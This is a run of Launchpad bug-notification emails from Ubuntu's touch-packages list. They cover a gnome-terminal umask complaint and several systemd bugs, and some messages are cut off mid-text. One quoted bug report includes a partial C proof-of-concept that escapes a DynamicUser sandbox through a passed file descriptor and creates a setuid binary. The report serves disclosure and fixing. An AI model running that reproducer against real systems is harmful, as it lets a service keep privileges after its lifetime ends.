  In order to set the default umask of my users to 027 or 007, I
  followed the instructions provided in 'man pam_umask' :

  In the 'gecos' field of '/etc/passwd', I have inserted 'umask=027' or
  'umask=007' (for myself).

  Then, MOST graphical applications systematically run with the correct
  umask.

  In particular, when I press Alt-F2, run 'xterm sh' and type 'umask',
  it systematically displays 0007.

  But when I press Alt-F2, run 'gnome-terminal -e sh' and type 'umask',
  it systematically displays 0022.

  That is BAD, and is a security issue.

  
  Workaround :  Inside the newly created '/etc/profile.d/umask.sh', and in each 
'~/.bashrc', add following content :
  UMASK="$(grep  -o  "^$USER:.*,umask=0[0-7]*"  /etc/passwd)"
  if  [ "$UMASK" ];  then
umask  "${UMASK#$USER:*,umask=}"
  fi

  
  In fact, 'gnome-terminal' MUST NOT force umask=022, but keep umask unchanged.

  Thank you in advance for a quick correction.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.04
  Package: gnome-terminal 3.20.2-1ubuntu8
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  Date: Mon Apr 24 08:36:58 2017
  InstallationDate: Installed on 2017-03-28 (26 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Beta amd64 (20170321)
  SourcePackage: gnome-terminal
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/gedit/+bug/1685754/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1912331] Re: Many interfaces lead to "kernel receive buffer overrun"

[Dan Streetman]

all your files in the directories:

/etc/systemd/network
/run/systemd/network
/lib/systemd/network

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912331

Title:
  Many interfaces lead to "kernel receive buffer overrun"

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Won't Fix
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  This is about a systemd-networkd bug, described here:

  https://github.com/systemd/systemd/issues/14417

  There's a patch available:

  https://github.com/systemd/systemd/pull/16982

  Can this be backported to Focal?

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1912331/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1902236] Re: Duplicated root and nobody returned by getent on Focal

[Dan Streetman]

** Changed in: systemd (Ubuntu Focal)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Focal)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Focal)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1902236

Title:
  Duplicated root and nobody returned by getent on Focal

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  In Progress

Bug description:
  [impact]

  getent password or getent group returns duplicate, false/synthesized,
  entries for root and nobody

  [test case]

  root@lp1902236-f:~# getent passwd | grep root
  root:x:0:0:root:/root:/bin/bash
  root:x:0:0:root:/root:/bin/sh
  root@lp1902236-f:~# getent group | grep root
  root:x:0:
  root:x:0:

  root@lp1902236-f:~# getent passwd | grep nobody
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/:/usr/sbin/nologin
  root@lp1902236-f:~# getent group | grep nogroup
  nogroup:x:65534:
  nogroup:x:65534:

  [regression potential]

  any regression would likely result in incorrect results to calls to
  getent or other programs using libnss-systemd

  [scope]

  this is needed only for f

  this was fixed upstream by commit
  9494da41c271bb9519d3484b6016526a72cc6be5 which was included first in
  v246, so this is fixed in g and later already.

  b and earlier doesn't show the duplication.

  [original description]

  * Summary

  systemd's NSS integration causes getent passwd/group to return
  duplicated entries for root/root and nobody/nogroup. The root account
  also gets a different shell (/bin/sh instead of /bin/bash).

  * Steps to reproduce:

  1) create a container
  $ lxc launch images:ubuntu/focal test-nobody
  2) check the root and nobody accounts
  $ lxc exec test-nobody -- getent passwd | grep -E '^(root|nobody):'
  3) check the root and nogroup groups
  $ lxc exec test-nobody -- getent group | grep -E '^(root|nogroup):'

  2 and 3 should report a single entry for each account/group but they
  return dups like this:

  root:x:0:0:root:/root:/bin/bash
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  root:x:0:0:root:/root:/bin/sh
  nobody:x:65534:65534:nobody:/:/usr/sbin/nologin

  * Description

  The problem seems to come from the NSS integration:

  $ lxc exec test-nobody -- grep -wF systemd /etc/nsswitch.conf
  passwd: files systemd
  group:  files systemd

  as the /etc/passwd and /etc/group file contain no dups:

  $ lxc exec test-nobody -- grep ^nobody: /etc/passwd
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  $ lxc exec test-nobody -- grep ^nogroup: /etc/group
  nogroup:x:65534:

  Removing systemd from /etc/nsswitch.conf indeed removes the dup.

  An alternative way of seeing what systemd adds on top of the flat
  files:

  $ lxc exec test-nobody -- bash -c 'diff -u /etc/passwd <(getent passwd)'
  --- /etc/passwd   2020-10-30 13:07:52.219261001 +
  +++ /dev/fd/632020-10-30 13:29:38.396928732 +
  @@ -24,3 +24,5 @@
   _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
   ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
   systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  +root:x:0:0:root:/root:/bin/sh
  +nobody:x:65534:65534:nobody:/:/usr/sbin/nologin

  $ lxc exec test-nobody -- bash -c 'diff -u /etc/group <(getent group)'
  --- /etc/group2020-10-30 13:07:52.211261089 +
  +++ /dev/fd/632020-10-30 13:29:45.892846747 +
  @@ -50,3 +50,5 @@
   ubuntu:x:1000:
   ssh:x:111:
   systemd-coredump:x:999:
  +root:x:0:
  +nogroup:x:65534:

  * Additional information

  This bug seems to occur on Focal alone as Bionic and Groovy are not
  affected.

  $ lsb_release -rd
  Description:  Ubuntu 20.04.1 LTS
  Release:  20.04

  $ apt-cache policy base-passwd systemd
  base-passwd:
    Installed: 3.5.47
    Candidate: 3.5.47
    Version table:
   *** 3.5.47 500
  500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status
  systemd:
    Installed: 245.4-4ubuntu3.2
    Candidate: 245.4-4ubuntu3.2
    Version table:
   *** 245.4-4ubuntu3.2 500
  500 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages
  100 /var/lib/dpkg/status
   245.4-4ubuntu3 500
  500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1902236/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1902236] Re: Duplicated root and nobody returned by getent on Focal

[Dan Streetman]

** Bug watch added: github.com/systemd/systemd/issues #15160
   https://github.com/systemd/systemd/issues/15160

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/15160
   Importance: Unknown
   Status: Unknown

** Description changed:

+ [impact]
+ 
+ getent password or getent group returns duplicate, false/synthesized,
+ entries for root and nobody
+ 
+ [test case]
+ 
+ root@lp1902236-f:~# getent passwd | grep root
+ root:x:0:0:root:/root:/bin/bash
+ root:x:0:0:root:/root:/bin/sh
+ root@lp1902236-f:~# getent group | grep root
+ root:x:0:
+ root:x:0:
+ 
+ root@lp1902236-f:~# getent passwd | grep nobody
+ nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+ nobody:x:65534:65534:nobody:/:/usr/sbin/nologin
+ root@lp1902236-f:~# getent group | grep nogroup
+ nogroup:x:65534:
+ nogroup:x:65534:
+ 
+ [regression potential]
+ 
+ any regression would likely result in incorrect results to calls to
+ getent or other programs using libnss-systemd
+ 
+ [scope]
+ 
+ this is needed only for f
+ 
+ this was fixed upstream by commit
+ 9494da41c271bb9519d3484b6016526a72cc6be5 which was included first in
+ v246, so this is fixed in g and later already.
+ 
+ b and earlier doesn't show the duplication.
+ 
+ [original description]
+ 
  * Summary
  
  systemd's NSS integration causes getent passwd/group to return
  duplicated entries for root/root and nobody/nogroup. The root account
  also gets a different shell (/bin/sh instead of /bin/bash).
  
  * Steps to reproduce:
  
  1) create a container
  $ lxc launch images:ubuntu/focal test-nobody
  2) check the root and nobody accounts
  $ lxc exec test-nobody -- getent passwd | grep -E '^(root|nobody):'
  3) check the root and nogroup groups
  $ lxc exec test-nobody -- getent group | grep -E '^(root|nogroup):'
  
  2 and 3 should report a single entry for each account/group but they
  return dups like this:
  
  root:x:0:0:root:/root:/bin/bash
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  root:x:0:0:root:/root:/bin/sh
  nobody:x:65534:65534:nobody:/:/usr/sbin/nologin
  
  * Description
  
  The problem seems to come from the NSS integration:
  
  $ lxc exec test-nobody -- grep -wF systemd /etc/nsswitch.conf
  passwd: files systemd
  group:  files systemd
  
  as the /etc/passwd and /etc/group file contain no dups:
  
  $ lxc exec test-nobody -- grep ^nobody: /etc/passwd
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  $ lxc exec test-nobody -- grep ^nogroup: /etc/group
  nogroup:x:65534:
  
  Removing systemd from /etc/nsswitch.conf indeed removes the dup.
  
  An alternative way of seeing what systemd adds on top of the flat files:
  
  $ lxc exec test-nobody -- bash -c 'diff -u /etc/passwd <(getent passwd)'
  --- /etc/passwd   2020-10-30 13:07:52.219261001 +
  +++ /dev/fd/632020-10-30 13:29:38.396928732 +
  @@ -24,3 +24,5 @@
   _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
   ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
   systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  +root:x:0:0:root:/root:/bin/sh
  +nobody:x:65534:65534:nobody:/:/usr/sbin/nologin
  
  $ lxc exec test-nobody -- bash -c 'diff -u /etc/group <(getent group)'
  --- /etc/group2020-10-30 13:07:52.211261089 +
  +++ /dev/fd/632020-10-30 13:29:45.892846747 +
  @@ -50,3 +50,5 @@
   ubuntu:x:1000:
   ssh:x:111:
   systemd-coredump:x:999:
  +root:x:0:
  +nogroup:x:65534:
  
  * Additional information
  
  This bug seems to occur on Focal alone as Bionic and Groovy are not
  affected.
  
  $ lsb_release -rd
  Description:  Ubuntu 20.04.1 LTS
  Release:  20.04
  
  $ apt-cache policy base-passwd systemd
  base-passwd:
-   Installed: 3.5.47
-   Candidate: 3.5.47
-   Version table:
-  *** 3.5.47 500
- 500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
- 100 /var/lib/dpkg/status
+   Installed: 3.5.47
+   Candidate: 3.5.47
+   Version table:
+  *** 3.5.47 500
+ 500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
+ 100 /var/lib/dpkg/status
  systemd:
-   Installed: 245.4-4ubuntu3.2
-   Candidate: 245.4-4ubuntu3.2
-   Version table:
-  *** 245.4-4ubuntu3.2 500
- 500 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages
- 100 /var/lib/dpkg/status
-  245.4-4ubuntu3 500
- 500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
+   Installed: 245.4-4ubuntu3.2
+   Candidate: 245.4-4ubuntu3.2
+   Version table:
+  *** 245.4-4ubuntu3.2 500
+ 500 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages
+ 100 /var/lib/dpkg/status
+  245.4-4ubuntu3 500
+ 500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1902236

Title:
  Duplicated root and nobody returned by getent 

[Touch-packages] [Bug 1912331] Re: Many interfaces lead to "kernel receive buffer overrun"

[Dan Streetman]

please attach the systemd-networkd config file(s) so i can reproduce the
failure

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912331

Title:
  Many interfaces lead to "kernel receive buffer overrun"

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Won't Fix
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  This is about a systemd-networkd bug, described here:

  https://github.com/systemd/systemd/issues/14417

  There's a patch available:

  https://github.com/systemd/systemd/pull/16982

  Can this be backported to Focal?

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1912331/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1912331] Re: Many interfaces lead to "kernel receive buffer overrun"

[Dan Streetman]

> Can this be backported to Focal?

If I'm understanding the upstream bug correctly, this only affects those
using a really large number of interfaces and/or vlans and/or bridges on
a single system, and in that situation this can be worked around just by
increasing the socket receive buffer size for systemd-networkd.socket,
right?

If that's the case, I don't really think this is something valid for
backporting; the buffer increase is just delaying the ENOBUF, and if
more interfaces are added it may still happen. I believe the buffer size
adjustment is a configuration issue for anyone using such a large number
of interfaces.

However, if I've misunderstood the bug or patch, or if there are
problems with my evaluation of it, please provide specific steps and/or
config to reproduce the problem, so we can evaluate what's needed for
backporting to focal.

For now, marking as wontfix.

** Changed in: systemd (Ubuntu Focal)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912331

Title:
  Many interfaces lead to "kernel receive buffer overrun"

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Won't Fix
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  This is about a systemd-networkd bug, described here:

  https://github.com/systemd/systemd/issues/14417

  There's a patch available:

  https://github.com/systemd/systemd/pull/16982

  Can this be backported to Focal?

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1912331/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1814596] Re: DynamicUser can create setuid binaries when assisted by another process

[Dan Streetman]

This appears to already be fixed; when running the reproducer it fails
to fchmod:

Feb 24 13:11:24 lp1814596-b breakout_assisted[16574]: got rootfd from other 
chroot...
Feb 24 13:11:24 lp1814596-b breakout_assisted[16574]: chdir successful, am now 
in /home/ubuntu/systemd_uidleak
Feb 24 13:11:24 lp1814596-b breakout_assisted[16574]: breakout_assisted: 
fchmod: Operation not permitted


** Changed in: systemd (Ubuntu Bionic)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1814596

Title:
  DynamicUser can create setuid binaries when assisted by another
  process

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in systemd source package in Disco:
  Won't Fix

Bug description:
  [I am sending this bug report to Ubuntu as requested by systemd at
  
.]

  This bug report describes a bug in systemd that allows a service with
  DynamicUser in collaboration with another service or user to create a setuid
  binary that can be used to access its UID beyond the lifetime of the service.
  This bug probably has relatively low severity, given that there aren't many
  services yet that use DynamicUser, and the requirement of collaboration with
  another process limits the circumstances in which it would be useful to an
  attacker further; but in a system that makes heavy use of DynamicUser, it 
would
  probably have impact.

  

  says:

  In order to allow the service to write to certain directories, they have 
to
  be whitelisted using ReadWritePaths=, but care must be taken so that 
UID/GID
  recycling doesn't create security issues involving files created by the
  service.

  While I was chatting about DynamicUser with catern on IRC, I noticed that
  DynamicUser doesn't isolate the service from the rest of the system in terms 
of
  UNIX domain sockets; therefore, if a collaborating user passes a file 
descriptor
  to a world-writable path outside the service's mount namespace into the
  service, the service can then create setuid files that can be used by the
  collaborating user beyond the lifetime of the service.

  
  To reproduce:

  As a user:
  ==
  user@deb10:~$ mkdir systemd_uidleak
  user@deb10:~$ cd systemd_uidleak
  user@deb10:~/systemd_uidleak$ cat > breakout_assisted.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
setbuf(stdout, NULL);

// prepare unix domain socket
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) err(1, "unable to create unix domain socket");
struct sockaddr_un addr = {
  .sun_family = AF_UNIX,
  .sun_path = "\0breakout"
};
if (bind(s, (struct sockaddr *), sizeof(sa_family_t)+1+8))
  err(1, "unable to bind abstract socket");
puts("waiting for connection from outside the service...");

// receive fd to somewhere under the real root
int len = sizeof(struct cmsghdr) + sizeof(int);
struct cmsghdr *hdr = alloca(len);
struct msghdr msg = {
  .msg_control = hdr,
  .msg_controllen = len
};
if (recvmsg(s, , 0) < 0) err(1, "unable to receive fd");
if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
|| hdr->cmsg_type != SCM_RIGHTS)
  errx(1, "got bad message");
puts("got rootfd from other chroot...");
if (fchdir(*(int*)CMSG_DATA(hdr))) err(1, "unable to change into real 
root");
char curpath[4096];
if (!getcwd(curpath, sizeof(curpath))) err(1, "unable to getpath()");
printf("chdir successful, am now in %s\n", curpath);

// create suid file
int src_fd = open("suid_src", O_RDONLY);
if (src_fd == -1) err(1, "open suid_src");
int dst_fd = open("suid_dst", O_RDWR|O_CREAT|O_EXCL, 0644);
if (dst_fd == -1) err(1, "open suid_dst");

while (1) {
  char buf[1000];
  ssize_t res = read(src_fd, buf, sizeof(buf));
  if (res == -1) err(1, "read");
  if (res == 0) break;
  ssize_t res2 = write(dst_fd, buf, res);
  if (res2 != res) err(1, "write");
}

if (fchmod(dst_fd, 04755)) err(1, "fchmod");
close(src_fd);
close(dst_fd);

// and that's it!
puts("done!");
while (1) pause();
return 0;
  }
  user@deb10:~/systemd_uidleak$ gcc -o breakout_assisted breakout_assisted.c 
  user@deb10:~/systemd_uidleak$ cat > breakout_helper.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int rootfd = open(".", O_PATH);
if (rootfd < 0) err(1, "unable to 

[Touch-packages] [Bug 1911187] Re: scheduled reboot reboots immediately if dbus or logind is not available

[Dan Streetman]

** Description changed:

  [IMPACT]
  
  When, for whatever reason, logind or dbus is not available scheduled reboot 
reboots the machine immediately.
  From the sources it seems that this is intended :
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L318
  However, I report this as a bug since this is against the logic of a 
scheduled reboot; if someone schedules a reboot they want the system to reboot 
at the specified time not immediately.
  
  There has been a discussion upstream ( 
https://github.com/systemd/systemd/issues/17575 ) and
  a PR ( https://github.com/systemd/systemd/pull/18010 ).
  
  Upstream community is not willing to accept the patch but debian is.
  I open this bug to to pull the patch into Ubuntu once it lands in debian.
  
  [TEST PLAN]
  
  The simpler reproducer is to disable dbus to imitate the real world
  case.
  
  # systemctl stop dbus.service
  # systemctl stop dbus.socket
  # shutdown +1140 -r "REBOOT!"
  Failed to set wall message, ignoring: Failed to activate service 
'org.freedesktop.login1': timed out (service_start_timeout=25000ms)
  Failed to call ScheduleShutdown in logind, proceeding with immediate 
shutdown: Connection timed out
  Connection to groovy closed by remote host.
  Connection to groovy closed.
  
  [WHERE PROBLEM COULD OCCUR]
  
  This patch changes the behaviour of scheduled reboot in case logind or dbus 
has failed.
  Originally, if logind is not available (call to logind bus fails
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L319)
  it proceeds with immediate shutdown.
  This patch changes this behaviour and instead of shutting down it does 
nothing.
- The actual regression potential is a user asking for a reboot and not getting 
it.
- Other than that the changes in the code are very small and simple and 
unlikely to break anything.
+ The actual regression potential is a user asking for a reboot and not getting 
it, so the largest regression potential is any existing users (human or 
programmatic) that are requesting a scheduled shutdown but not checking the 
return value for error.
+ Any other regression would likely result in the system incorrectly not 
rebooted, or incorrectly scheduled for reboot.
  
  [OTHER]
  
  This is now fixed in H, currently affects B,G,F.
  
  Debian bug reports :
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=931235
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=960042
  
  Upstream issue : https://github.com/systemd/systemd/issues/17575
  PR : https://github.com/systemd/systemd/pull/18010

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1911187

Title:
  scheduled reboot reboots immediately if dbus or logind is not
  available

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress

Bug description:
  [IMPACT]

  When, for whatever reason, logind or dbus is not available scheduled reboot 
reboots the machine immediately.
  From the sources it seems that this is intended :
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L318
  However, I report this as a bug since this is against the logic of a 
scheduled reboot; if someone schedules a reboot they want the system to reboot 
at the specified time not immediately.

  There has been a discussion upstream ( 
https://github.com/systemd/systemd/issues/17575 ) and
  a PR ( https://github.com/systemd/systemd/pull/18010 ).

  Upstream community is not willing to accept the patch but debian is.
  I open this bug to to pull the patch into Ubuntu once it lands in debian.

  [TEST PLAN]

  The simpler reproducer is to disable dbus to imitate the real world
  case.

  # systemctl stop dbus.service
  # systemctl stop dbus.socket
  # shutdown +1140 -r "REBOOT!"
  Failed to set wall message, ignoring: Failed to activate service 
'org.freedesktop.login1': timed out (service_start_timeout=25000ms)
  Failed to call ScheduleShutdown in logind, proceeding with immediate 
shutdown: Connection timed out
  Connection to groovy closed by remote host.
  Connection to groovy closed.

  [WHERE PROBLEM COULD OCCUR]

  This patch changes the behaviour of scheduled reboot in case logind or dbus 
has failed.
  Originally, if logind is not available (call to logind bus fails
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L319)
  it proceeds with immediate shutdown.
  This patch changes this behaviour and instead of shutting down it does 
nothing.
  The actual regression potential is a user asking for a reboot and not getting 
it, so the largest regression potential is any existing users (human or 
programmatic) that are requesting a scheduled shutdown but not 

[Touch-packages] [Bug 1906331] Re: systemd-resolve crashes fairly often (and reports various assertions)

[Dan Streetman]

** Description changed:

  [impact]
  
  systemd-resolved crashes
  
  [test case]
  
- TBD - see original description
+ see original description; I can't reproduce so I'm relying on the
+ reporter(s) to test/verify.
  
  [regression potential]
  
  any regression would likely occur while processing sd_event objects,
  which are used throughout systemd code; this could result in crashes in
  almost any part of systemd code. However a more likely regression would
  be leaks of sd_event objects due to failure to release the final ref for
  an object.
  
  [scope]
  
  This is needed for f/g/h
  
  This might be fixed by upstream commit
  f814c871e65df8552a055dd887bc94b074037833; if so, that commit isn't
  included in any systemd release yet, and so is needed in h and earlier.
  
  [other info]
  
  I believe this is caused by a freed sd_event object that is then
  processed and calls the on_query_timeout callback with invalid state,
  leading to failed assertion, which causes resolved to crash; that's what
  analysis of the crash dump appears to indicate. This may be fixed by the
  upstream commit referenced in [scope], which takes additional refs
  during function calls. However I haven't reproduced this myself, so I'm
  only guessing as to the cause and solution at this point.
  
  I'm unsure why this would not occur in bionic, but per comment 5 it
  seems it doesn't happen in that release.
  
  [original description]
  
  (Tested on regularly updated Ubuntu 20.04, currently i use systemd
  245.4-4ubuntu3.2)
  
  I observe fairly lot of segfaults of systemd-resolve. Frequency vary but
  … see below.
  
  I have no clue what is the reason. Specific feature of my machine is
  that apart from normal cable connection (to OpenWRT router) I use
  OpenVPN for business network (and this submits specific nameserver for
  myorg.local domain).
  
  ~
  $ LC_ALL=C dmesg -T --level=info | grep systemd-resolve
  [Sun Nov 29 11:47:37 2020] systemd-resolve[1629307]: segfault at 190eed7bdc6 
ip 7fd98f771dc9 sp 7ffc2352a100 error 4 in 
libsystemd-shared-245.so[7fd98f74c000+16e000]
  [Sun Nov 29 11:57:27 2020] systemd-resolve[1629787]: segfault at 1f ip 
55ab7b0cb686 sp 7fff78ce4bd0 error 4 in 
systemd-resolved[55ab7b0a4000+3e000]
  [Sun Nov 29 12:07:37 2020] systemd-resolve[1630481]: segfault at 191 ip 
55ca69fed91c sp 7ffc4d757dc0 error 6 in 
systemd-resolved[55ca69fc2000+3e000]
  [Sun Nov 29 13:12:26 2020] systemd-resolve[1638829]: segfault at 19224162371 
ip 7fc1bc9b9dc9 sp 7ffc21378170 error 4 in 
libsystemd-shared-245.so[7fc1bc994000+16e000]
  [Sun Nov 29 13:32:57 2020] systemd-resolve[1639886]: segfault at 1926d8126d3 
ip 7f7ed17e9dc9 sp 7ffda2cea0b0 error 4 in 
libsystemd-shared-245.so[7f7ed17c4000+16e000]
  [Sun Nov 29 13:42:37 2020] systemd-resolve[1640246]: segfault at 61 ip 
558d992e2686 sp 7fff08906af0 error 4 in 
systemd-resolved[558d992bb000+3e000]
  [Sun Nov 29 15:42:26 2020] systemd-resolve[1645397]: segfault at 1943c92afc7 
ip 7fd4c1721dc9 sp 7fff25259ce0 error 4 in 
libsystemd-shared-245.so[7fd4c16fc000+16e000]
  [Sun Nov 29 16:02:36 2020] systemd-resolve[1646052]: segfault at 1947ecb3726 
ip 7f1008549dc9 sp 7fff44a6db70 error 4 in 
libsystemd-shared-245.so[7f1008524000+16e000]
  [Sun Nov 29 17:42:35 2020] systemd-resolve[1649403]: segfault at 71 ip 
55a37fe5a686 sp 7ffd9a160440 error 4 in 
systemd-resolved[55a37fe33000+3e000]
  [Sun Nov 29 17:52:35 2020] systemd-resolve[1649759]: segfault at 558d292947d0 
ip 558d292947d0 sp 7ffec7ab3bf8 error 15
  [Sun Nov 29 19:17:55 2020] systemd-resolve[1652349]: segfault at 558995b77cf0 
ip 558995b77cf0 sp 7ffe545ae4a8 error 15
  [Sun Nov 29 19:32:35 2020] systemd-resolve[1652640]: segfault at 19773c20194 
ip 7f66bb529dc9 sp 7fffd7066fc0 error 4 in 
libsystemd-shared-245.so[7f66bb504000+16e000]
  [Sun Nov 29 20:03:54 2020] systemd-resolve[1653715]: segfault at 197e3aee918 
ip 7fdc40b51dc9 sp 7ffde484fbf0 error 4 in 
libsystemd-shared-245.so[7fdc40b2c000+16e000]
  [Sun Nov 29 20:22:24 2020] systemd-resolve[1654540]: segfault at 19820a05297 
ip 7f6a92839dc9 sp 7ffe4ba00440 error 4 in 
libsystemd-shared-245.so[7f6a92814000+16e000]
  [Sun Nov 29 21:13:10 2020] systemd-resolve[1660272]: segfault at 555f9a5915e0 
ip 555f9a5915e0 sp 7fff053e5e68 error 15
  [Sun Nov 29 21:32:34 2020] systemd-resolve[1661026]: segfault at 1991af73f2e 
ip 7ff194021dc9 sp 7fffa6d61680 error 4 in 
libsystemd-shared-245.so[7ff193ffc000+16e000]
  [Sun Nov 29 22:03:20 2020] systemd-resolve[1661941]: segfault at 5625966828e0 
ip 5625966828e0 sp 7ffdf5a8bb48 error 15
  [Sun Nov 29 22:32:44 2020] systemd-resolve[1662604]: segfault at 199f18ae01d 
ip 7f457c9d1dc9 sp 7ffc62b80ef0 error 4 in 
libsystemd-shared-245.so[7f457c9ac000+16e000]
  [Sun Nov 29 23:12:23 2020] systemd-resolve[1664072]: segfault at 73b8 ip 
562619f8c93a sp 7ffd527b7ef0 error 6 in 

[Touch-packages] [Bug 1911187] Re: scheduled reboot reboots immediately if dbus or logind is not available

[Dan Streetman]

minor comment, for systemd (and really all packages) I like to name the
patches with the lp bug number, so i changed your patch name to add the
lp1911187- prefix.

also another minor comment, as we'd discussed before I made a slight
change to the comment in the patch for clarification:

 if (arg_when > 0)
 return logind_schedule_shutdown();
 
-/* no delay, or logind is not at all available */
+/* no delay */
 if (geteuid() != 0) {
 if (arg_dry_run || arg_force > 0) {
 (void) must_be_root();

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1911187

Title:
  scheduled reboot reboots immediately if dbus or logind is not
  available

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress

Bug description:
  [IMPACT]

  When, for whatever reason, logind or dbus is not available scheduled reboot 
reboots the machine immediately.
  From the sources it seems that this is intended :
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L318
  However, I report this as a bug since this is against the logic of a 
scheduled reboot; if someone schedules a reboot they want the system to reboot 
at the specified time not immediately.

  There has been a discussion upstream ( 
https://github.com/systemd/systemd/issues/17575 ) and
  a PR ( https://github.com/systemd/systemd/pull/18010 ).

  Upstream community is not willing to accept the patch but debian is.
  I open this bug to to pull the patch into Ubuntu once it lands in debian.

  [TEST PLAN]

  The simpler reproducer is to disable dbus to imitate the real world
  case.

  # systemctl stop dbus.service
  # systemctl stop dbus.socket
  # shutdown +1140 -r "REBOOT!"
  Failed to set wall message, ignoring: Failed to activate service 
'org.freedesktop.login1': timed out (service_start_timeout=25000ms)
